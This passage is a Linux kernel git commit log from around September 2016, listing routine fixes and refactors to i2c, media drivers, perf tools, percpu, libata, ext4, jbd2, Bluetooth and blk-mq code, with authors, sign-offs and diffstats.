question. Now after commit 525e6fabeae2 ("i2c / ACPI: add support for ACPI reconfigure notifications") checking of the adapter handle to the one found in the I2cSerialBus() resource was moved to happen after resources of the I2C device has been parsed. This means that if the I2cSerialBus() resource points to an adapter that does not exists in the system we still parse those resources. This is problematic in particular because acpi_dev_resource_interrupt() tries to configure GSI if the device also has an Interrupt() resource. Failing to do that results errrors like this to be printed on the console: [ 10.409490] ERROR: Unable to locate IOAPIC for GSI 37 To fix this we pass the I2C adapter to i2c_acpi_get_info() and make sure the handle matches the one in the I2cSerialBus() resource before doing anything else to the device. Reported-by: Nicolai Stange Signed-off-by: Mika Westerberg Reviewed-by: Nicolai Stange Signed-off-by: Wolfram Sang drivers/i2c/i2c-core.c | 27 ++++++++++++++++++++------- 1 file changed, 20 insertions(+), 7 deletions(-) commit 3cc2691227203c00cac1d82d6b0772224d5c87b2 Author: Mauro Carvalho Chehab Date: Thu Sep 22 14:09:18 2016 -0300 [media] ttusb_dec: avoid the risk of go past buffer Fixes this smatch warning: drivers/media/usb/ttusb-dec/ttusb_dec.c:243 ttusb_dec_handle_irq() error: buffer overflow 'rc_keys' 26 <= 126 As the RC keys should be enabled previously, via: set_bit(rc_keys[i], input_dev->keybit); It wouldn't go past the buffer in practice. Yet, as bad things may happen when going past buffer, it doesn't hurt adding a check here. While here, fix CodingStyle issues on the routine. Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/ttusb-dec/ttusb_dec.c | 30 ++++++++++++++++++------------ 1 file changed, 18 insertions(+), 12 deletions(-) commit e37e4f057b47ff1e502799062f8ab30156e54bd3 Author: Tom St Denis Date: Thu Sep 22 10:01:00 2016 -0400 drm/amd/amdgpu: Remove division from vblank_wait Removes division from vblank_wait for DCE v6, v8, and v10. Was already implemented for v11. Signed-off-by: Tom St Denis Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/dce_v10_0.c | 8 +++++--- drivers/gpu/drm/amd/amdgpu/dce_v6_0.c | 8 +++++--- drivers/gpu/drm/amd/amdgpu/dce_v8_0.c | 8 +++++--- 3 files changed, 15 insertions(+), 9 deletions(-) commit e837d85c614e8d6e2d93daed972874ea3a8daec7 Author: Mauro Carvalho Chehab Date: Thu Sep 22 13:37:06 2016 -0300 [media] cx23885: Fix some smatch warnings Make sure that it won't go past the config buffers drivers/media/pci/cx23885/cx23885-dvb.c:1733 dvb_register() warn: buffer overflow 'netup_xc5000_config' 2 <= s32max drivers/media/pci/cx23885/cx23885-dvb.c:1745 dvb_register() warn: buffer overflow 'netup_stv0367_config' 2 <= s32max drivers/media/pci/cx23885/cx23885-dvb.c:1752 dvb_register() warn: buffer overflow 'netup_xc5000_config' 2 <= s32max Signed-off-by: Mauro Carvalho Chehab drivers/media/pci/cx23885/cx23885-dvb.c | 3 +++ drivers/media/pci/cx23885/cx23885.h | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) commit 799bc3c51b2b120ca6e59e702ede23fff2efaf43 Author: Lance Richardson Date: Thu Sep 22 10:03:57 2016 -0400 percpu: eliminate two sparse warnings Fix two cases where a __percpu pointer cast drops __percpu. Signed-off-by: Lance Richardson Signed-off-by: Tejun Heo arch/x86/include/asm/percpu.h | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 2d831454140f28fa643b78deede4511b9e2c9e5f Author: Jiri Olsa Date: Thu Sep 22 17:36:37 2016 +0200 perf hists: Make hists__fprintf_headers function global Will be used from external places in the upcoming c2c patch series. Signed-off-by: Jiri Olsa Cc: Andi Kleen Cc: David Ahern Cc: Don Zickus Cc: Joe Mario Cc: Namhyung Kim Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1474558645-19956-10-git-send-email-jolsa@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/ui/stdio/hist.c | 2 +- tools/perf/util/hist.h | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) commit bd28d0c59805b88001fcc8ad5c6f913d86d8e5c2 Author: Jiri Olsa Date: Thu Sep 22 17:36:36 2016 +0200 perf hists: Make __hist_entry__snprintf function global Will be used from external places in the upcoming c2c patch series. Signed-off-by: Jiri Olsa Cc: Andi Kleen Cc: David Ahern Cc: Don Zickus Cc: Joe Mario Cc: Namhyung Kim Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1474558645-19956-9-git-send-email-jolsa@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/ui/stdio/hist.c | 4 ++-- tools/perf/util/hist.h | 2 ++ 2 files changed, 4 insertions(+), 2 deletions(-) commit 98ba1609298ccc849ddfe727c675c3a7b48b8dbc Author: Jiri Olsa Date: Thu Sep 22 17:36:35 2016 +0200 perf tools: Make several display functions global Will be used from external places in the upcoming c2c patch series. Signed-off-by: Jiri Olsa Cc: Andi Kleen Cc: David Ahern Cc: Don Zickus Cc: Joe Mario Cc: Namhyung Kim Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1474558645-19956-8-git-send-email-jolsa@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/ui/browsers/hists.c | 2 +- tools/perf/ui/hist.c | 2 +- tools/perf/util/hist.h | 2 ++ 3 files changed, 4 insertions(+), 2 deletions(-) commit 5fe7b9b47c646dbe8501378eb3684ccd802d6d25 Author: Jiri Olsa Date: Thu Sep 22 17:36:34 2016 +0200 perf tools: Make several sorting functions global Will be used from external places in the upcoming c2c patch series. Signed-off-by: Jiri Olsa Cc: Andi Kleen Cc: David Ahern Cc: Don Zickus Cc: Joe Mario Cc: Namhyung Kim Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1474558645-19956-7-git-send-email-jolsa@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/sort.c | 6 +++--- tools/perf/util/sort.h | 6 ++++++ 2 files changed, 9 insertions(+), 3 deletions(-) commit a76490e4cd5d971d6f6c22aeed0625bb352d2a08 Author: Jiri Olsa Date: Thu Sep 22 17:36:33 2016 +0200 perf tools: Make output_field_add and sort_dimension__add global Will be used from external places in the upcoming c2c patch series. Signed-off-by: Jiri Olsa Cc: Andi Kleen Cc: David Ahern Cc: Don Zickus Cc: Joe Mario Cc: Namhyung Kim Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1474558645-19956-6-git-send-email-jolsa@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/sort.c | 8 ++++---- tools/perf/util/sort.h | 4 ++++ 2 files changed, 8 insertions(+), 4 deletions(-) commit bcf98740a28579d9412afa9a72e463da386a55a6 Author: Jiri Olsa Date: Thu Sep 22 17:36:32 2016 +0200 perf tools: Make reset_dimensions global Will be used from external places in the upcoming c2c patch series. Signed-off-by: Jiri Olsa Cc: Andi Kleen Cc: David Ahern Cc: Don Zickus Cc: Joe Mario Cc: Namhyung Kim Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1474558645-19956-5-git-send-email-jolsa@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/sort.c | 2 +- tools/perf/util/sort.h | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) commit 9da44db1493a9d384ddc1bcd1553a1803ff985b6 Author: Jiri Olsa Date: Thu Sep 22 17:36:29 2016 +0200 perf hists: Add __hist_entry__snprintf function Add __hist_entry__snprintf() to take a perf_hpp_list as an argument instead of using he->hists->hpp_list. This way we can display arbitrary list of entries regardless of the hists setup, which will be useful in the upcoming c2c patch series. Signed-off-by: Jiri Olsa Cc: Andi Kleen Cc: David Ahern Cc: Don Zickus Cc: Joe Mario Cc: Namhyung Kim Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1474558645-19956-2-git-send-email-jolsa@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/ui/stdio/hist.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) commit 3becf4525d9c0fb9cf8ff657b2aec1c733bc742f Author: Mathieu Poirier Date: Fri Sep 16 09:50:04 2016 -0600 perf tools: Add sink configuration for cs_etm PMU Using the PMU::set_drv_config() callback to enable the CoreSight sink that will be used for the trace session. Signed-off-by: Mathieu Poirier Acked-by: Jiri Olsa Cc: Alexander Shishkin Cc: Peter Zijlstra Cc: linux-arm-kernel@lists.infradead.org Link: http://lkml.kernel.org/r/1474041004-13956-8-git-send-email-mathieu.poirier@linaro.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/arch/arm/util/cs-etm.c | 58 +++++++++++++++++++++++++++++++++++++++ tools/perf/arch/arm/util/cs-etm.h | 3 ++ tools/perf/arch/arm/util/pmu.c | 2 ++ 3 files changed, 63 insertions(+) commit 5d8bb1ec7477e0e53dbd891733682a6583d4398e Author: Mathieu Poirier Date: Fri Sep 16 09:50:03 2016 -0600 perf tools: Add PMU configuration to tools Now that the required mechanic is there to deal with PMU specific configuration, add the functionality to the tools where events can be selected. Signed-off-by: Mathieu Poirier Acked-by: Jiri Olsa Cc: Alexander Shishkin Cc: Peter Zijlstra Cc: linux-arm-kernel@lists.infradead.org Link: http://lkml.kernel.org/r/1474041004-13956-7-git-send-email-mathieu.poirier@linaro.org [ Fix the build on XSI-compliant systems, using str_error_r() to make sure we return a string, not an integer ] Signed-off-by: Arnaldo Carvalho de Melo tools/perf/builtin-record.c | 10 ++++++++++ tools/perf/builtin-stat.c | 9 +++++++++ tools/perf/builtin-top.c | 13 +++++++++++++ 3 files changed, 32 insertions(+) commit 1b5ca12127427c51be605a75ecd0141eb3357249 Author: Nicholas Piggin Date: Thu Sep 22 11:55:54 2016 -0400 percpu: improve generic percpu modify-return implementation Some architectures require an additional load to find the address of percpu pointers. In some implemenatations, the C aliasing rules do not allow the result of that load to be kept over the store that modifies the percpu variable, which causes additional loads. Work around this by finding the pointer first, then operating on that. It's also possible to mark things as restrict and those kind of games, but that can require larger and arch specific changes. On powerpc, __this_cpu_inc_return compiles to: ld 10,48(13) ldx 9,3,10 addi 9,9,1 stdx 9,3,10 ld 9,48(13) ldx 3,9,3 With this patch it compiles to: ld 10,48(13) ldx 9,3,10 addi 9,9,1 stdx 9,3,10 Signed-off-by: Nicholas Piggin To: Tejun Heo To: Christoph Lameter Cc: linux-kernel@vger.kernel.org Cc: linux-arch@vger.kernel.org Signed-off-by: Tejun Heo include/asm-generic/percpu.h | 53 +++++++++++++++++++++++++------------------- 1 file changed, 30 insertions(+), 23 deletions(-) commit e3ea5e94489bc8c711d422dfa311cfa310553a1b Author: Matthias Schwarzott Date: Tue Jul 26 04:09:08 2016 -0300 [media] si2165: switch to regmap This avoids some low-level operations. It has the benefit that now register values van be read from /sys/kernel/debug/regmap The maximum register value is just a guess - all higher addresses read as zero. Signed-off-by: Matthias Schwarzott Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-frontends/Kconfig | 1 + drivers/media/dvb-frontends/si2165.c | 70 +++++++++++++----------------------- 2 files changed, 25 insertions(+), 46 deletions(-) commit aa15544909918f55299b49bd51042e242e64c425 Author: Matthias Schwarzott Date: Tue Jul 26 04:09:07 2016 -0300 [media] si2165: use i2c_client->dev instead of i2c_adapter->dev for logging Now that there is a i2c_client, use the more specific dev for logging. Signed-off-by: Matthias Schwarzott Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-frontends/si2165.c | 46 ++++++++++++++++++------------------ 1 file changed, 23 insertions(+), 23 deletions(-) commit 81fd533a972a28f43b080fe7fdc473dac3e988c6 Author: Matthias Schwarzott Date: Tue Jul 26 04:09:06 2016 -0300 [media] si2165: Remove legacy attach Now that all users of legacy attach are converted it can be removed. Signed-off-by: Matthias Schwarzott Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-frontends/si2165.c | 117 ------------------------------ drivers/media/dvb-frontends/si2165.h | 31 -------- drivers/media/dvb-frontends/si2165_priv.h | 17 +++++ 3 files changed, 17 insertions(+), 148 deletions(-) commit 773028fefcede683f68d138e5ead3d2e96b32387 Author: Matthias Schwarzott Date: Tue Jul 26 04:09:05 2016 -0300 [media] cx231xx: attach si2165 driver via i2c_client Use new style attach. Signed-off-by: Matthias Schwarzott Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/cx231xx/cx231xx-dvb.c | 73 ++++++++++++++++++++++----------- 1 file changed, 48 insertions(+), 25 deletions(-) commit d28d7f852ee4028e41932891e55664abe75f00de Author: Matthias Schwarzott Date: Tue Jul 26 04:09:04 2016 -0300 [media] cx231xx: Prepare for attaching new style i2c_client DVB demod drivers cx231xx does not yet support attaching new-style i2c_client DVB demod drivers. Add necessary code base on tuner support for i2c_client. Signed-off-by: Matthias Schwarzott Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/cx231xx/cx231xx-dvb.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit 7cb278b009749140110159e12093a3ec4cb98435 Author: Matthias Schwarzott Date: Tue Jul 26 04:09:03 2016 -0300 [media] cx23885: attach si2165 driver via i2c_client Use new style attach. Signed-off-by: Matthias Schwarzott Signed-off-by: Mauro Carvalho Chehab drivers/media/pci/cx23885/cx23885-dvb.c | 30 +++++++++++++++++++++--------- 1 file changed, 21 insertions(+), 9 deletions(-) commit 7cd785adc4ea4a4f19477a10ea8485aa4bc0d0b1 Author: Matthias Schwarzott Date: Tue Jul 26 04:09:02 2016 -0300 [media] si2165: support i2c_client attach Afterwards it is possible to convert attaching in card drivers. Signed-off-by: Matthias Schwarzott Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-frontends/si2165.c | 149 +++++++++++++++++++++++++++++++++++ drivers/media/dvb-frontends/si2165.h | 22 ++++++ 2 files changed, 171 insertions(+) commit 2df9dda07f56c285564ce97ca76a94e70a50df5e Author: Matthias Schwarzott Date: Tue Jul 26 03:53:40 2016 -0300 [media] si2165: avoid division by zero When si2165_init fails, the clk values in state are still at zero. But the dvb-core ignores the return value of init will call tune afterwards. This will trigger a division by zero when tuning. At least check for the variables to be non-zero before dividing. This happened for a system with WinTV HVR-4400 PCIe-card after suspend-to-disk. Do suspend-to-disk without accessing the DVB device before. After wakeup try to tune. si2165_init fails at checking the chip_mode and aborts. Then si2165_set_if_freq_shift will fail with div-by-zero. Signed-off-by: Matthias Schwarzott Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-frontends/si2165.c | 6 ++++++ 1 file changed, 6 insertions(+) commit c0bf09d047e18e9948a431f7662b20777e540d80 Author: Sergei Shtylyov Date: Mon Jul 25 16:19:33 2016 -0300 [media] rcar-vin: add R-Car gen2 fallback compatibility string Such fallback string is present in the 'soc_camera' version of the R-Car VIN driver, so need to add it here as well... Signed-off-by: Sergei Shtylyov Acked-by: Niklas Söderlund Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/rcar-vin/rcar-core.c | 1 + 1 file changed, 1 insertion(+) commit dd14523a8e5cf618862dcfa6635297c65f0e26ee Author: Abylay Ospan Date: Mon Jul 25 15:38:59 2016 -0300 [media] lgdt3306a: remove 20*50 msec unnecessary timeout inside lgdt3306a_search we reading demod status 20 times with 50 msec sleep after each read. This gives us more than 1 sec of delay. Removing this delay should not affect demod functionality. Signed-off-by: Abylay Ospan Acked-by: Michael Ira Krufky Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-frontends/lgdt3306a.c | 16 ++++------------ 1 file changed, 4 insertions(+), 12 deletions(-) commit dcd3ea81f572fba57d18e91743a525a9787c1f6e Author: Christoph Hellwig Date: Thu Sep 22 07:49:50 2016 -0700 libata: remove asm-generic is only intended for architecture defaults, and we can simply kill it off by moving the two defintions directly to . Signed-off-by: Christoph Hellwig Signed-off-by: Tejun Heo include/asm-generic/libata-portmap.h | 7 ------- include/linux/libata.h | 3 ++- 2 files changed, 2 insertions(+), 8 deletions(-) commit 014b44e7a4683ccef09cc58c53012e5bc53daece Author: Christoph Hellwig Date: Thu Sep 22 07:49:49 2016 -0700 libata: remove unused definitions from Signed-off-by: Christoph Hellwig Signed-off-by: Tejun Heo arch/ia64/include/asm/libata-portmap.h | 4 ---- arch/powerpc/include/asm/libata-portmap.h | 4 ---- 2 files changed, 8 deletions(-) commit cca32b7eeb4ea24fa6596650e06279ad9130af98 Author: Ross Zwisler Date: Thu Sep 22 11:49:38 2016 -0400 ext4: allow DAX writeback for hole punch Currently when doing a DAX hole punch with ext4 we fail to do a writeback. This is because the logic around filemap_write_and_wait_range() in ext4_punch_hole() only looks for dirty page cache pages in the radix tree, not for dirty DAX exceptional entries. Signed-off-by: Ross Zwisler Reviewed-by: Jan Kara Cc: Signed-off-by: Theodore Ts'o fs/ext4/inode.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 072973ba67ecfc842d9d73cc003095267158fc73 Author: Bhaktipriya Shridhar Date: Mon Jul 25 12:05:53 2016 -0300 [media] cx25821: Remove deprecated create_singlethread_workqueue The workqueue "_irq_audio_queues" runs the audio upstream handler. It has a single work item(&dev->_audio_work_entry) and hence doesn't require ordering. Also, it is not being used on a memory reclaim path. Hence, the singlethreaded workqueue has been replaced with the use of system_wq. System workqueues have been able to handle high level of concurrency for a long time now and hence it's not required to have a singlethreaded workqueue just to gain concurrency. Unlike a dedicated per-cpu workqueue created with create_singlethread_workqueue(), system_wq allows multiple work items to overlap executions even on the same CPU; however, a per-cpu workqueue doesn't have any CPU locality or global ordering guarantee unless the target CPU is explicitly specified and thus the increase of local concurrency shouldn't make any difference. The work item has been flushed in cx25821_stop_upstream_audio() to ensure that nothing is pending when the driver is disconnected. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: Mauro Carvalho Chehab drivers/media/pci/cx25821/cx25821-audio-upstream.c | 14 ++------------ drivers/media/pci/cx25821/cx25821.h | 1 - 2 files changed, 2 insertions(+), 13 deletions(-) commit 534e1f3c4f35e198f1ffca2a2372ebe811b6d9f1 Author: Bhaktipriya Shridhar Date: Mon Jul 25 11:55:22 2016 -0300 [media] cx25821: Drop Freeing of Workqueue Workqueues shouldn't be freed. destroy_workqueue should be used instead. destroy_workqueue safely destroys a workqueue and ensures that all pending work items are done before destroying the workqueue. Signed-off-by: Bhaktipriya Shridhar Acked-by: Tejun Heo Signed-off-by: Mauro Carvalho Chehab drivers/media/pci/cx25821/cx25821-audio-upstream.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 70a19b7e406da9dc5cea20fedba443374a5cae70 Author: Harman Kalra Date: Thu Sep 22 01:18:31 2016 +0530 pata_at91: Use PTR_ERR_OR_ZERO rather than if(IS_ERR(...)) + PTR_ERR Signed-off-by: Harman Kalra Signed-off-by: Tejun Heo drivers/ata/pata_at91.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 7dc6f16c68757548a332a0c5fbe661987c2189a9 Author: Michał Narajowski Date: Thu Sep 22 16:01:39 2016 +0200 Bluetooth: Fix not updating scan rsp when adv off Scan response data should not be updated unless there is an advertising instance. Signed-off-by: Michał Narajowski Signed-off-by: Marcel Holtmann net/bluetooth/mgmt.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit af4cc4629f2fc17cfeaafebb703acbbcff2c8b21 Author: Abylay Ospan Date: Thu Jul 21 10:56:25 2016 -0300 [media] cxd2841er: force 8MHz bandwidth for DVB-C if specified bw not supported if specified DVB-C bandwidth not supported then force 8MHz. Should work for most cases. Signed-off-by: Abylay Ospan Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-frontends/cxd2841er.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 02d9d3cbac53bd59fe18fc32adc7bc7cde1037ae Author: Harman Kalra Date: Thu Sep 22 01:29:48 2016 +0530 ata: Replace BUG() with BUG_ON(). Replace BUG() with BUG_ON(). Caught by coccinelle. Signed-off-by: Harman Kalra Signed-off-by: Tejun Heo drivers/ata/pata_octeon_cf.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit d6ae162bd13998a6511e5efbc7c19ab542ba1555 Author: Sean Young Date: Wed Jul 20 14:03:50 2016 -0300 [media] redrat3: hardware-specific parameters Add these options as module parameters for now; should other drivers need similar options we could add it to the LIRC api. Signed-off-by: Sean Young Signed-off-by: Mauro Carvalho Chehab drivers/media/rc/redrat3.c | 50 +++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 49 insertions(+), 1 deletion(-) commit c7470ff210521e4ca2f4c5217b0d3405528a9b40 Author: Sean Young Date: Wed Jul 20 14:03:49 2016 -0300 [media] redrat3: remove hw_timeout member This is a duplicate of the timeout in rc_dev. Signed-off-by: Sean Young Signed-off-by: Mauro Carvalho Chehab drivers/media/rc/redrat3.c | 15 ++++----------- 1 file changed, 4 insertions(+), 11 deletions(-) commit e03a9976afce6634826d56c33531dd10bb9a9166 Author: Jan Kara Date: Thu Sep 22 11:44:06 2016 -0400 jbd2: fix lockdep annotation in add_transaction_credits() Thomas has reported a lockdep splat hitting in add_transaction_credits(). The problem is that that function calls jbd2_might_wait_for_commit() while holding j_state_lock which is wrong (we do not really wait for transaction commit while holding that lock). Fix the problem by moving jbd2_might_wait_for_commit() into places where we are ready to wait for transaction commit and thus j_state_lock is unlocked. Cc: stable@vger.kernel.org Fixes: 1eaa566d368b214d99cbb973647c1b0b8102a9ae Reported-by: Thomas Gleixner Signed-off-by: Jan Kara Signed-off-by: Theodore Ts'o fs/jbd2/transaction.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 1144a4eed04b2c3e7d20146d1b76f7669b55971d Author: Dmitry Tunin Date: Wed Sep 21 19:13:08 2016 +0300 Bluetooth: Add a new 04ca:3011 QCA_ROME device BugLink: https://bugs.launchpad.net/bugs/1535802 T: Bus=01 Lev=02 Prnt=02 Port=04 Cnt=01 Dev#= 3 Spd=12 MxCh= 0 D: Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs= 1 P: Vendor=04ca ProdID=3011 Rev=00.01 C: #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA I: If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb I: If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb Signed-off-by: Dmitry Tunin Signed-off-by: Marcel Holtmann Cc: stable@vger.kernel.org drivers/bluetooth/btusb.c | 1 + 1 file changed, 1 insertion(+) commit 841bac2c87fc21c3ecf3bc3354855921735aeec1 Author: Jens Axboe Date: Wed Sep 21 10:08:43 2016 -0600 blk-mq: get rid of manual run of queue with __blk_mq_run_hw_queue() Two cases: 1) blk_mq_alloc_request() needlessly re-runs the queue, after calling into the tag allocation without NOWAIT set. We don't need to do that. 2) blk_mq_map_request() should just use blk_mq_run_hw_queue() with the async flag set to false. Signed-off-by: Jens Axboe Reviewed-by: Christoph Hellwig block/blk-mq.c | 16 ++-------------- 1 file changed, 2 insertions(+), 14 deletions(-) commit 0854df79f4c2cd296f9210a92b9d1bde10a8c5c2 Author: Abylay Ospan Date: Tue Jul 19 12:22:03 2016 -0300 [media] cxd2841er: BER and SNR reading for ISDB-T Added function to read BER for ISDB-T Also SNR values fixed for ISDB-T Signed-off-by: Abylay Ospan Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-frontends/cxd2841er.c | 48 ++++++++++++++++++++++++++++++--- 1 file changed, 45 insertions(+), 3 deletions(-) commit d0fe85e95f56a01a49e4893aa26263e8aee67eef Author: Arnd Bergmann Date: Tue Jul 19 12:14:35 2016 -0300 [media] dvb-usb: avoid link error with dib3000m{b,c| Tha ARM randconfig builds came up with another rare build failure for the dib3000mc driver, when dvb-usb-dibusb-mb is built-in and dib3000mc is a loadable module: ERROR: "dibusb_dib3000mc_frontend_attach" [drivers/media/usb/dvb-usb/dvb-usb-nova-t-usb2.ko] undefined! ERROR: "dibusb_dib3000mc_tuner_attach" [drivers/media/usb/dvb-usb/dvb-usb-nova-t-usb2.ko] undefined! Apparently this used to be a valid configuration (build-time, not run-time), but broke as part of a cleanup. I tried reverting the cleanup, but saw that the code was still wrong then. This version adds a dependency for dib3000mb, to ensure that dib3000mb does not force the dibusb_dib3000mc_frontend_attach function to be built-in when dib3000mc is a loadable module. I have also checked the two other files that were changed in the original cleanup, and found them to be correct in either version, so I do not touch that part. As this is a rather obscure bug, there is no need for backports. Fixes: 028c70ff42783 ("[media] dvb-usb/dvb-usb-v2: use IS_ENABLED") Signed-off-by: Arnd Bergmann Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/Kconfig | 1 + 1 file changed, 1 insertion(+) commit e91455a1495ada59e90ae26bc3e68be3b7656570 Author: Arnd Bergmann Date: Tue Jul 19 12:14:34 2016 -0300 [media] dvb-usb: split out common parts of dibusb Tha ARM randconfig builds came up with another rare build failure for the dib3000mc driver, when dvb-usb-dibusb-mb is built-in and dib3000mc is a loadable module: ERROR: "dibusb_dib3000mc_frontend_attach" [drivers/media/usb/dvb-usb/dvb-usb-nova-t-usb2.ko] undefined! ERROR: "dibusb_dib3000mc_tuner_attach" [drivers/media/usb/dvb-usb/dvb-usb-nova-t-usb2.ko] undefined! Apparently this used to be a valid configuration (build-time, not run-time), but broke as part of a cleanup. I tried reverting the cleanup, but saw that the code was still wrong then. This tries to fix the code properly, by moving the problematic functions into a new file that now is built as a loadable module or built-in, whichever is correct for a particular configuration. It fixes the regression as well as the runtime problem that already existed. The new module dependency chain is now: dvb-usb-{dibusb_mc,a800,dib0700,umt-010,gp8psk} dvb-usb-dibusb-mb | | | | dvb-usb-dibusb-mc-common | ___________| | | | | | | dib3000mc (frontend) | | | dib3000mb (frontend) | | | | | | dvb-usb-dibusb-common I have also checked the two other files that were changed in the original cleanup, and found them to be correct in either version, so I do not touch that part. As this is a rather obscure bug, there is no need for backports. Fixes: 028c70ff42783 ("[media] dvb-usb/dvb-usb-v2: use IS_ENABLED") Signed-off-by: Arnd Bergmann Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/Kconfig | 20 +++- drivers/media/usb/dvb-usb/Makefile | 11 +- drivers/media/usb/dvb-usb/dibusb-common.c | 158 ------------------------- drivers/media/usb/dvb-usb/dibusb-mc-common.c | 168 +++++++++++++++++++++++++++ 4 files changed, 190 insertions(+), 167 deletions(-) commit dd7e39bbfce1fa6de8315d790d1fe01e92cba44d Author: Arek Lichwa Date: Thu Sep 22 14:08:05 2016 +0200 Bluetooth: Fix NULL pointer dereference in mgmt context Adds missing callback assignment to cmd_complete in pending management command context. Dump path involves security procedure performed on legacy (pre-SSP) devices with service security requirements set to HIGH (16digits PIN). It fails when shorter PIN is delivered by user. [ 1.517950] Bluetooth: PIN code is not 16 bytes long [ 1.518491] BUG: unable to handle kernel NULL pointer dereference at (null) [ 1.518584] IP: [< (null)>] (null) [ 1.518584] PGD 9e08067 PUD 9fdf067 PMD 0 [ 1.518584] Oops: 0010 [#1] SMP [ 1.518584] Modules linked in: [ 1.518584] CPU: 0 PID: 1002 Comm: kworker/u3:2 Not tainted 4.8.0-rc6-354649-gaf4168c #16 [ 1.518584] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.9.3-20160701_074356-anatol 04/01/2014 [ 1.518584] Workqueue: hci0 hci_rx_work [ 1.518584] task: ffff880009ce14c0 task.stack: ffff880009e10000 [ 1.518584] RIP: 0010:[<0000000000000000>] [< (null)>] (null) [ 1.518584] RSP: 0018:ffff880009e13bc8 EFLAGS: 00010293 [ 1.518584] RAX: 0000000000000000 RBX: ffff880009eed100 RCX: 0000000000000006 [ 1.518584] RDX: ffff880009ddc000 RSI: 0000000000000000 RDI: ffff880009eed100 [ 1.518584] RBP: ffff880009e13be0 R08: 0000000000000000 R09: 0000000000000001 [ 1.518584] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000 [ 1.518584] R13: ffff880009e13ccd R14: ffff880009ddc000 R15: ffff880009ddc010 [ 1.518584] FS: 0000000000000000(0000) GS:ffff88000bc00000(0000) knlGS:0000000000000000 [ 1.518584] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 1.518584] CR2: 0000000000000000 CR3: 0000000009fdd000 CR4: 00000000000006f0 [ 1.518584] Stack: [ 1.518584] ffffffff81909808 ffff880009e13cce ffff880009e0d40b ffff880009e13c68 [ 1.518584] ffffffff818f428d 00000000024000c0 ffff880009e13c08 ffffffff810ca903 [ 1.518584] ffff880009e13c48 ffffffff811ade34 ffffffff8178c31f ffff880009ee6200 [ 1.518584] Call Trace: [ 1.518584] [] ? mgmt_pin_code_neg_reply_complete+0x38/0x60 [ 1.518584] [] hci_cmd_complete_evt+0x69d/0x3200 [ 1.518584] [] ? rcu_read_lock_sched_held+0x53/0x60 [ 1.518584] [] ? kmem_cache_alloc+0x1a4/0x200 [ 1.518584] [] ? skb_clone+0x4f/0xa0 [ 1.518584] [] hci_event_packet+0x8e1/0x28e0 [ 1.518584] [] ? _raw_spin_unlock_irqrestore+0x31/0x50 [ 1.518584] [] ? trace_hardirqs_on_caller+0xee/0x1b0 [ 1.518584] [] hci_rx_work+0x1e1/0x5b0 [ 1.518584] [] ? process_one_work+0x1ed/0x6b0 [ 1.518584] [] process_one_work+0x268/0x6b0 [ 1.518584] [] ? process_one_work+0x1ed/0x6b0 [ 1.518584] [] worker_thread+0x43/0x4e0 [ 1.518584] [] ? process_one_work+0x6b0/0x6b0 [ 1.518584] [] ? process_one_work+0x6b0/0x6b0 [ 1.518584] [] kthread+0xdf/0x100 [ 1.518584] [] ret_from_fork+0x1f/0x40 [ 1.518584] [] ? kthread_create_on_node+0x210/0x210 Signed-off-by: Arek Lichwa Signed-off-by: Marcel Holtmann net/bluetooth/mgmt.c | 2 ++ 1 file changed, 2 insertions(+) commit 0ea92c50ad0d3c20db5ad4ee71bc6588baf1dfa9 Author: Wei Yongjun Date: Tue Jul 19 08:24:42 2016 -0300 [media] staging: lirc: add missing 